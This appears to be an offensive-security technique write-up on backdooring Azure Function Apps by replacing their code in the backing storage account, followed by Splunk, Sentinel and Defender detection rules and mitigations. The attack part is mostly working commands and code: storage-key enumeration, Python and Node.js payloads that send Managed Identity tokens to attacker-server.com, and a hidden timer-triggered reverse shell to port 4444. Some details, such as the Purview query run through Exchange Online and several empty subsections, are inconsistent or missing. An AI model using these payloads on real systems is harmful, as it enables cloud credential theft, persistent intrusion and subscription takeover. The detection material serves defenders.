MCADDF

[PERSIST-SERVER-003]: Azure Function Backdoor

Metadata

Attribute Details
Technique ID PERSIST-SERVER-003
MITRE ATT&CK v18.1 T1505.003 - Server Software Component: Web Shell
Tactic Persistence
Platforms Entra ID
Severity Critical
CVE N/A (Configuration-based attack)
Technique Status ACTIVE
Last Verified 2025-01-09
Affected Versions All Azure Function Runtime versions (Python 3.9+, Node.js 14+, .NET 6+, Java 11+, PowerShell 7+)
Patched In N/A (By-design flaw; mitigations available)
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: Azure Functions are serverless compute services that execute code in response to events (HTTP requests, blob uploads, timers, etc.). Each Function App is backed by a dedicated Azure Storage Account (AzureWebJobsStorage) that stores the function code. An attacker with Storage Account Contributor role or access to storage account keys can modify function code files hosted in the storage account’s file share. When the function is next triggered (via HTTP request, blob event, or timer), the malicious code executes with the permissions of the Function App’s assigned Managed Identity, enabling privilege escalation, lateral movement, and credential theft. Unlike typical web shells, this persists indefinitely—even after password resets—because the Managed Identity token is not tied to user credentials.

Attack Surface: Azure Storage Accounts, File Shares (function code containers), Azure Function App triggers (HTTP endpoints, blob events, timers), Managed Identities, Key Vault integrations.

Business Impact: Complete Azure Subscription Compromise. An attacker executes arbitrary code under a potentially high-privilege Managed Identity (e.g., Contributor, Owner role). This enables data exfiltration, lateral movement to databases, VMs, and other Azure resources, unauthorized cost generation via mining or DoS, and persistent backdoor access independent of user account lifecycle.

Technical Context: Exploitation requires 10-15 minutes with Storage Account Contributor access. Detection likelihood is Medium if storage account activity logging and Application Insights are enabled. However, malicious function invocations can blend in with legitimate traffic if carefully throttled.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 4.13, 4.14 Ensure storage account uses Managed Identity instead of Shared Keys
DISA STIG Azure-1-1 Azure Resource Access Controls
CISA SCuBA IA-2(6) Azure Identity Authentication and MFA
NIST 800-53 AC-3(7), AC-6(2) Least Privilege; Role-Based Access Control
GDPR Art. 32 Security Measures for Processing Personal Data
DORA Art. 10 Application Resilience and Recovery
NIS2 Art. 21(d) Vulnerability Management and Code Review
ISO 27001 A.6.1.3, A.9.2.3 Access Control; Privileged Access Management
ISO 27005 Section 7 Risk Assessment - Unauthorized Code Execution

2. Technical Prerequisites


3. Detailed Execution Methods and Their Steps

METHOD 1: Direct Code Injection via Azure CLI (Fastest Attack Path)

Supported Versions: All Function App runtime versions

Prerequisites: Storage Account Contributor role; Azure CLI installed and authenticated.

Step 1: Enumerate Function Apps and Associated Storage Accounts

Objective: Identify target Function Apps and their backing storage accounts, then locate their connection strings containing access keys.

Command:

# List all Function Apps in current subscription
az functionapp list --output table

# Get details for a specific Function App
az functionapp show --name myFunctionApp --resource-group myRG --query "appSettings"

# Extract the AzureWebJobsStorage connection string
az functionapp config appsettings list --name myFunctionApp --resource-group myRG --query "[?name=='AzureWebJobsStorage'].value" -o tsv

Expected Output:

DefaultEndpointsProtocol=https;AccountName=myfunctionstg3d8a;AccountKey=XXXXXXXXXXXXX==;EndpointSuffix=core.windows.net

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Access Function Code in Storage Account

Objective: Connect to the storage account and list function code files in the file share.

Command:

# Extract storage account name and key from connection string
STORAGE_ACCOUNT="myfunctionstg3d8a"
STORAGE_KEY="XXXXXXXXXXXXX=="

# List file shares (typically named 'azure-webjobs-secrets' or similar)
az storage share list --account-name $STORAGE_ACCOUNT --account-key $STORAGE_KEY

# List files in the share (default share is usually 'azure-webjobs-<appname>')
az storage file list --account-name $STORAGE_ACCOUNT --account-key $STORAGE_KEY --share-name "azure-webjobs-myfunctionapp" --output table

Expected Output:

Name              IsDirectory    Content Length
────────────────  ──────────────  ──────────────
myTriggerFunction True            0
HttpTrigger       True            0
...

What This Means:

OpSec & Evasion:

Step 3: Inject Malicious Code into Function

Objective: Replace legitimate function code with malicious code that exfiltrates the Managed Identity token to a remote server.

Command (For Python Functions):

# Create malicious Python code that steals the Managed Identity token
cat > malicious_init.py << 'EOF'
import azure.functions as func
import os
import json
import requests
from azure.identity import DefaultAzureCredential

def main(req: func.HttpRequest) -> func.HttpResponse:
    try:
        # Obtain the Managed Identity token for the Function App
        credential = DefaultAzureCredential()
        token = credential.get_token("https://management.azure.com/.default")
        
        # Exfiltrate token to attacker-controlled server
        payload = {
            "token": token.token,
            "expires_on": token.expires_on,
            "function_app": os.getenv("WEBSITE_HOSTNAME"),
            "subscription_id": os.getenv("SUBSCRIPTION_ID")
        }
        
        # Send to attacker's webhook
        requests.post("https://attacker-server.com/exfil", json=payload, timeout=5)
        
        # Return success to avoid suspicion
        return func.HttpResponse(f"OK", status_code=200)
    except Exception as e:
        return func.HttpResponse(f"Error: {str(e)}", status_code=500)
EOF

# Upload the malicious file to replace the original function code
az storage file upload --account-name $STORAGE_ACCOUNT --account-key $STORAGE_KEY \
  --share-name "azure-webjobs-myfunctionapp" \
  --source malicious_init.py \
  --path "myTriggerFunction/__init__.py"

Command (For Node.js Functions):

// Malicious code for Node.js
const { DefaultAzureCredential } = require("@azure/identity");
const axios = require("axios");

module.exports = async function (context, req) {
    try {
        const credential = new DefaultAzureCredential();
        const token = await credential.getToken("https://management.azure.com/.default");
        
        await axios.post("https://attacker-server.com/exfil", {
            token: token.token,
            expiresOn: token.expiresOn,
            functionApp: process.env.WEBSITE_HOSTNAME
        });
        
        context.res = { status: 200, body: "OK" };
    } catch (error) {
        context.res = { status: 500, body: error.message };
    }
};

Expected Output:

File uploaded successfully to azure-webjobs-myfunctionapp/myTriggerFunction/__init__.py

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 4: Trigger the Function and Exfiltrate Managed Identity Token

Objective: Invoke the function to trigger the malicious code and receive the stolen token.

Command (HTTP Trigger):

# Get the function URL
FUNCTION_URL=$(az functionapp function show --name myFunctionApp --resource-group myRG --function-name myTriggerFunction --query "invokeUrlTemplate" -o tsv)

# Trigger the function (attacker-controlled server receives the token)
curl -X POST "$FUNCTION_URL"

# On the attacker's server, retrieve the exfiltrated token
curl "https://attacker-server.com/exfil" | jq

Expected Output (On Attacker’s Server):

{
  "token": "eyJ0eXAiOiJKV1QiLCJhbGc...",
  "expires_on": 1705170000,
  "function_app": "myfunctionapp.azurewebsites.net",
  "subscription_id": "12345678-1234-1234-1234-123456789012"
}

What This Means:

OpSec & Evasion:

References & Proofs:


METHOD 2: Storage Account Access via Managed Identity (Privilege Escalation Chain)

Supported Versions: All Function App runtime versions with Managed Identity support

Prerequisites: Compromised user/service principal with Storage Account Reader role (not Contributor); Function App with Managed Identity.

Objective: Use a compromised low-privilege identity to escalate privileges by leveraging a Function App’s Managed Identity.

Command:

# Step 1: List storage accounts accessible to current user
az storage account list --query "[].{name:name, resourceGroup:resourceGroup}" -o table

# Step 2: For each storage account, get the connection string (if available)
az storage account show-connection-string --name myfunctionstg --resource-group myRG --query connectionString -o tsv

# Step 3: Use the connection string to access the Function App's code
# (Continue with Steps 2-4 from METHOD 1)

What This Means:


METHOD 3: Persistent Backdoor via Timer-Triggered Function

Supported Versions: All Function App runtime versions

Prerequisites: Access to function code (same as METHOD 1); ability to create or modify function triggers.

Objective: Create a hidden function or timer-triggered function that exfiltrates data or creates reverse shells on a schedule.

Command:

# Create a hidden timer-triggered function (executes every 5 minutes)
cat > malicious_timer.py << 'EOF'
import azure.functions as func
import os
import socket
import subprocess

def main(mytimer: func.TimerRequest) -> None:
    # Reverse shell to attacker's server
    attacker_ip = "attacker-server.com"
    attacker_port = 4444
    
    try:
        # Establish reverse shell
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((attacker_ip, attacker_port))
        
        # Execute command and send output back
        while True:
            cmd = sock.recv(1024).decode()
            output = subprocess.check_output(cmd, shell=True).decode()
            sock.send(output.encode())
    except Exception as e:
        pass  # Fail silently
EOF

# Create function.json for timer trigger
cat > function.json << 'EOF'
{
  "scriptFile": "HiddenTask.py",
  "bindings": [
    {
      "name": "mytimer",
      "type": "timerTrigger",
      "direction": "in",
      "schedule": "0 */5 * * * *"
    }
  ]
}
EOF

# Upload both files to create a persistent backdoor
az storage file upload --account-name $STORAGE_ACCOUNT --account-key $STORAGE_KEY \
  --share-name "azure-webjobs-myfunctionapp" \
  --source malicious_timer.py \
  --path "HiddenTimerTask/__init__.py"

az storage file upload --account-name $STORAGE_ACCOUNT --account-key $STORAGE_KEY \
  --share-name "azure-webjobs-myfunctionapp" \
  --source function.json \
  --path "HiddenTimerTask/function.json"

What This Means:


4. Splunk Detection Rules

Rule 1: Azure Storage Account Key Access and File Share Modifications

Rule Configuration:

SPL Query:

index=azure_storage OperationName IN ("PutBlob", "PutFile", "SetFileProperties") 
Resource="*/azure-webjobs-*" 
| stats count by OperationName, CallerIPAddress, Resource
| where count > 5

What This Detects:

Manual Configuration Steps:

  1. Log into Splunk Web → Search & Reporting
  2. Click SettingsSearches, reports, and alerts
  3. Click New Alert
  4. Paste the SPL query above
  5. Set Trigger Condition to “when count > 5”
  6. Configure Action → Send email to Cloud Security team
  7. Click Save

Rule 2: Exfiltration of Managed Identity Tokens from Azure Functions

Rule Configuration:

SPL Query:

index=azure_appinsights source="*function*" 
(message="*credential*" OR message="*token*" OR message="*DefaultAzureCredential*") 
type=exception 
| fields _time, functionName, message, ExceptionDetails
| stats count by functionName

What This Detects:


5. Microsoft Sentinel Detection

Query 1: Storage Account File Share Modifications via Shared Key

Rule Configuration:

KQL Query:

StorageAccountLogs
| where OperationName in ("PutFile", "PutBlob") and StorageAccountName contains "webjobs"
| extend Resource = tostring(Resource)
| where Resource contains "azure-webjobs"
| project TimeGenerated, CallerIPAddress, OperationName, StorageAccountName, Resource
| summarize EventCount=count() by CallerIPAddress, TimeGenerated
| where EventCount > 5

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select your workspace → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: Azure Storage File Share Modification - Function Apps
    • Severity: High
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 24 hours
  6. Incident settings Tab:
    • Enable Create incidents
  7. Click Review + create

6. Windows Event Log Monitoring

Note: This technique is cloud-only and does not generate Windows Event Log entries. Monitor Azure Activity Log and Storage Account diagnostics instead.

Azure Activity Log Events to Monitor:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalStorage Accounts → Select target account
  2. Click Diagnostics settings (left menu)
  3. Click + Add diagnostic setting
  4. Name: FunctionAppCodeInjectionMonitoring
  5. Check: StorageRead, StorageWrite, StorageDelete
  6. Destination: Send to Log Analytics
  7. Select your Log Analytics workspace
  8. Click Save

7. Sysmon Detection Patterns

Note: Sysmon is on-premises only. For Azure-native monitoring, use Azure Defender for Storage.


8. Microsoft Defender for Cloud

Detection Alert: Suspicious Storage Account Activity - Function App Code Modification

Alert Name: “Suspicious modification of Function App code detected”

Manual Configuration Steps (Enable Defender for Cloud):

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings
  3. Select your subscription
  4. Under Defender plans, enable:
    • Defender for Storage: ON
    • Defender for Cloud Apps: ON
  5. Click Save
  6. Go to Alerts to view triggered alerts

Reference: Microsoft Defender for Cloud - Storage Protection


9. Microsoft Purview (Unified Audit Log)

Query: Function App Code Changes via Shared Key

Connect-ExchangeOnline
Search-UnifiedAuditLog -Operations "PutFile", "PutBlob" -StartDate (Get-Date).AddDays(-1) -FreeText "azure-webjobs" | Select-Object CreationDate, UserIds, Operations, ObjectId

10. Defensive Mitigations

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Check if Function Apps are using Managed Identity
$functionApps = Get-AzFunctionApp
foreach ($app in $functionApps) {
    $config = Get-AzFunctionAppConfig -ResourceGroupName $app.ResourceGroupName -Name $app.Name
    if ($config -like "*AccountKey*") {
        Write-Host "VULNERABLE: $($app.Name) uses Shared Key authorization"
    } else {
        Write-Host "SECURE: $($app.Name) uses Managed Identity"
    }
}

# Check storage account diagnostic logging
Get-AzStorageAccountDiagnosticSetting -ResourceGroupName myRG -StorageAccountName myfunctionstg | Select-Object -ExpandProperty Logs

Expected Output (If Secure):

SECURE: myFunctionApp uses Managed Identity
Enabled: True, Retention: 365 days

What to Look For:


Step Phase Technique Description
1 Initial Access [IA-VALID-001] Default Credential Exploitation Attacker gains access to Azure portal with weak/default credentials
2 Reconnaissance [REC-CLOUD-005] Azure Resource Graph Enumeration Identify Function Apps and their storage accounts
3 Privilege Escalation [PE-ACCTMGMT-014] Global Administrator Backdoor Escalate from Storage Reader to Storage Contributor
4 Current Step [PERSIST-SERVER-003] Azure Function Backdoor - Inject malicious code into function
5 Credential Access [CA-TOKEN-003] Azure Function Key Extraction Steal Managed Identity tokens via exfiltration
6 Lateral Movement [LM-AUTH-032] Function App Identity Hopping Use stolen token to access additional Azure resources
7 Impact Data exfiltration, VM compromise, ransomware deployment  

12. Real-World Examples

Example 1: Lace Tempest (Clop Ransomware Gang) - MOVEit Transfer Attack

Example 2: WIZARD SPIDER - Azure Function Token Theft


References & Additional Resources